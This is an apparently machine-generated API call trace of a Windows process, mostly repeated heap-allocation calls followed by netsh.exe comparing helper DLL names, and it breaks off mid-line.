RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ebf0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5f030 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ef10 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eb70 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ec70 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eb90 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ec90 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5edf0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ee10 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eaf0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ea30 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ed50 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ec10 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5f010 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ea70 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ecf0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eeb0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ebb0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ee30 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ec30 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5edd0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ee70 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ee90 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b602b0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fef0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60030 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60210 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b600b0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ff10 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60050 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fe50 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60330 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fdd0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b603f0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fe70 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60410 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60130 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60010 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60470 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60370 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fdb0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ff50 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fcf0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60230 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fd10 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b602d0 [0041.195] GetProcessHeap () returned 0x15270b50000 [0041.195] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60110 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60310 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ff30 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b602f0 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60190 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60070 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fe10 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60350 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ffd0 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60150 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fd30 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60390 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fe30 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b603d0 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b603b0 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60430 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60450 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fd50 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fd70 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fdf0 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ff70 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fd90 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fe90 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5feb0 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fed0 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.196] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ff90 [0041.196] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ffb0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b600d0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5fff0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60090 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b600f0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b601d0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60170 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60290 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b601b0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b601f0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60250 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60270 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60ba0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60c20 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60960 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60b60 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b607c0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60980 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60b80 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60c80 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60820 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60940 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60600 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60920 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60bc0 [0041.197] GetProcessHeap () returned 0x15270b50000 [0041.197] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60740 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b607a0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b609a0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60500 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60520 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b608e0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60c40 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60a80 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60540 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b609c0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60840 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60be0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60580 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60760 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b607e0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60c00 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60a20 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60640 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b605c0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b606c0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60560 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60700 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60720 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.198] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b609e0 [0041.198] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b605a0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60880 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b606e0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60ae0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60a60 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60c60 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60800 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60860 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b605e0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60aa0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60620 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60780 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60a00 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60a40 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60660 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b608a0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b608c0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60680 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b606a0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60900 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60b40 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.199] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60ac0 [0041.199] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60b00 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60b20 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b613d0 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60e50 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60ff0 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61070 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61210 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b612f0 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61310 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60fd0 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60f90 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61410 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b612d0 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61010 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60d10 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60f50 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61230 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61270 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61050 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61190 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b610b0 [0041.200] GetProcessHeap () returned 0x15270b50000 [0041.200] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61330 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b61090 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b610f0 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b610d0 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60e10 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b612b0 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60e30 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60fb0 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b60d70 [0041.201] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0041.201] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x28) returned 0x15270b58770 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x2) returned 0x15270b5de80 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, 